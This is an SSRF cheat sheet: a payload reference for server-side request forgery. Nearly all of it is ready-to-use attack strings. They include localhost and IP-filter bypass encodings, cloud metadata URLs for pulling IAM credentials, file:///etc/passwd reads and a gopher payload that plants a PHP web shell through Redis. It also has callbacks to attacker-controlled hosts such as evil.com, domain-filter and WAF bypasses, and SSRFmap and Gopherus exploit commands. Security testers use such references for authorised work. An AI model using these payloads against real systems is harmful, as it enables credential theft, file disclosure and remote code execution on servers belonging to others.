SSRF Cheatsheet

Server-Side Request Forgery

Quick reference

→Always try alternative representations of 127.0.0.1: decimal, octal, hex, IPv6
→AWS IMDSv2 requires a prior token via PUT — IMDSv1 is directly accessible
→A 302 redirect from your own server can bypass protocol filters (http -> file://)
→The gopher:// protocol lets you interact with almost any internal TCP service
→Look for SSRF in URL parameters, webhooks, integrations, file imports and image/PDF parsers

Localhost bypass

Basic IPv4

http://127.0.0.1:80

Shortened IPv4

http://127.1:80

Zero as localhost

http://0

IPv6 localhost

http://[::]:80/

Full IPv6

http://[0000::1]:80/

Decimal bypass2130706433 = 127.0.0.1 in decimal

http://2130706433/

Octal bypass

http://0177.0000.0000.0001

Hexadecimal bypass

http://0x7f000001/

DNS rebinding and resolution

nip.io wildcard

http://127.0.0.1.nip.io

localtest.meAlways resolves to 127.0.0.1

http://localtest.me

Spoofed collaboratorSet up a DNS record pointing to 127.0.0.1

http://spoofed.burpcollaborator.net

Unicode dotsFullwidth dots that some parsers don't recognize

http://127。0。0。1

Enclosed alphanumeric

http://①②⑦.⓪.⓪.⓪

Cloud metadata endpoints

AWS IMDSv1 - IAM credentials

http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]

AWS - user-data

http://169.254.169.254/latest/user-data

AWS - hostname

http://169.254.169.254/latest/meta-data/hostname

Google CloudRequires the Metadata-Flavor: Google header

http://metadata.google.internal/computeMetadata/v1/

AzureRequires the Metadata: true header

http://169.254.169.254/metadata/instance?api-version=2017-04-02

Digital Ocean

http://169.254.169.254/metadata/v1.json

Oracle Cloud

http://192.0.0.192/latest/meta-data/

Alibaba Cloud

http://100.100.100.200/latest/meta-data/

Alternative protocols

file:// - file read

file:///etc/passwd

dict:// - TCP interaction

dict://attacker:11111/

gopher:// - raw TCP (Redis RCE)Requires gopher support on the server

gopher://localhost:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22

sftp://

sftp://evil.com:11111/

ldap://

ldap://localhost:11211/%0astats%0aquit

file:// with extension bypassThe ? bypasses file-extension validation

file:///etc/passwd%3F/

Domain filter bypass

Credentials in URL

https://{domain}@attacker.com

Attacker's subdomain

https://{domain}.attacker.com

Fragment bypass

https://attacker.com#{domain}

Null byte

https://attacker.com%00{domain}

Backslash trick (WHATWG)WHATWG treats \ as / but RFC3986 doesn't

http://attacker.com\@{domain}

Parameter pollution

next={domain}&next=attacker.com

WAF bypass

WAF	Técnica	Payload
127.0.0.1 IP filter	Decimal representation	http://2130706433/
169.254.* IP filter	IPv6-mapped IPv4	http://[0:0:0:0:0:ffff:169.254.169.254]/
Protocol filter	302 redirect to file://	http://attacker.com/redirect -> file:///etc/passwd
Domain filter	DNS rebinding	http://1ynrnhl.xip.io (resuelve a 169.254.169.254)
URL validation	WHATWG backslash trick	http://attacker.com\@allowed-domain.com
Regex filter	Enclosed alphanumeric Unicode	http://ⒶⓉⓉⒶⒸⓀⒺⓇ.ⒸⓄⓂ

Tools

SSRFmap

Automated SSRF exploitation framework with multiple modules

python3 ssrfmap.py -r request.txt -p url -m readfiles

Gopherus

Generates Gopher payloads for Redis, MySQL, FastCGI, Memcache and SMTP

python3 gopherus.py --exploit redis

Interactsh

OOB callback server to confirm blind SSRF via DNS/HTTP

interactsh-client -v

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